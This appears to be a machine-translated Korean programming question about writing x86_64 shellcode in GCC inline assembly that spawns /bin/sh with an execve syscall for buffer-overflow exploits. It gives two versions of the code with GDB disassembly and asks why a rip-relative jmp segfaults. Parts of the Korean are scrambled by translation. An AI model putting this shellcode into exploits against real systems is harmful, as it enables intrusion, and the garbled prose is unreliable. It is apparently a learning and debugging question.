처음부터 셸을 생성하는 익스플로잇을 작성하고 있습니다. (즉, 버퍼 오버 플로우에서 사용됨). 내가 직면하고있는 문제 중 하나는 작동하도록 jmp 문을 가져 오는 것입니다. 내 이해는 jmp 명령은 ip에 상대적인 것입니다. 그러나 인라인 어셈블리에서 다음을 실행하려고하면 절대 주소로 점프합니다. 나는이 작업을 수행 할 때가 세그먼트 오류를 얻을 수GCC (x86_64)에서 인라인 어셈블리를 사용하여 상대 점프/호출을 수행하는 방법
jmp *0x28(%rip) #will jump to address 0x28 relative to the ip
을하지만 : 나는이 문제를 해결 왔
jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip
한 가지 방법과 같이 명령의 일부로서 IP를 사용하는 것입니다 JMP
전체 어셈블리 코드는 아래와 같다 :
void main() {
__asm__(
"jmp *0x28(%rip) \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
GDB에서 분해 출력은 다음과 같습니다
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmpq *0x28(%rip) # 0x4004de <main+50>
0x00000000004004b6 <+10>: pop %rax
0x00000000004004b7 <+11>: movw $0x0,(%rax)
0x00000000004004bc <+16>: mov %rax,0x8(%rax)
0x00000000004004c0 <+20>: movq $0x0,0x10(%rax)
0x00000000004004c8 <+28>: mov $0x0,%edx
0x00000000004004cd <+33>: mov %rax,%rsi
0x00000000004004d0 <+36>: add $0x8,%rsi
0x00000000004004d4 <+40>: mov %rax,%rdi
0x00000000004004d7 <+43>: mov $0x3b,%eax
0x00000000004004dc <+48>: syscall
0x00000000004004de <+50>: callq *-0x2e(%rip) # 0x4004b6 <main+10>
0x00000000004004e4 <+56>: (bad)
0x00000000004004e5 <+57>: (bad)
0x00000000004004e6 <+58>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004ed <+65>: retq
End of assembler dump.
나는 GDB가 올바른 주소로 갈거야 말한다는 사실에도 불구하고 첫 번째 명령 jmp *0x28(%rip)
에 세그먼트 폴트를 얻을.
흥미로운 점은 call *-0x2e(%rip)
과 jmp 앞에 레이블을 붙이면 작동한다는 것입니다. 주소는 절대적 일 것이고 jmp에서 분할 오류가 생성되지 않습니다.
C 코드를 사용하여 라벨 :
void main() {
__asm__(
"jmp my_hack \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"my_hack: \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
결과 분해
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmp 0x4004da <main+46>
0x00000000004004b2 <+6>: pop %rax
0x00000000004004b3 <+7>: movw $0x0,(%rax)
0x00000000004004b8 <+12>: mov %rax,0x8(%rax)
0x00000000004004bc <+16>: movq $0x0,0x10(%rax)
0x00000000004004c4 <+24>: mov $0x0,%edx
0x00000000004004c9 <+29>: mov %rax,%rsi
0x00000000004004cc <+32>: add $0x8,%rsi
0x00000000004004d0 <+36>: mov %rax,%rdi
0x00000000004004d3 <+39>: mov $0x3b,%eax
0x00000000004004d8 <+44>: syscall
0x00000000004004da <+46>: callq *-0x2e(%rip) # 0x4004b2 <main+6>
0x00000000004004e0 <+52>: (bad)
0x00000000004004e1 <+53>: (bad)
0x00000000004004e2 <+54>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004e9 <+61>: retq
End of assembler dump.
세그먼트 오류를 생성하지 않습니다 위의 분해에 라벨을 사용하여 점프. 0x00000000004004da
에서 실행 된 통화가 처리됩니다.
jmp에서 립을 사용하면 왜 세분화 오류가 발생하는지 설명 할 수 있습니까?
어떻게 GCC 인라인 어셈블리를 사용하여 상대 점프/콜을 할 수 있습니까? 어셈블러를 검사하는 방법을 모르지만 GAS를 사용하고 있다고 확신합니다 (위키에서는 기본 GCC 어셈블러라고 말합니다). 관련 질문에 jmp .+0x28
과 같은 구문을 사용하는 제안이있었습니다. 그러나 이것은 절대 점프가되고 PC 로의 상대적 점프가 아닙니다.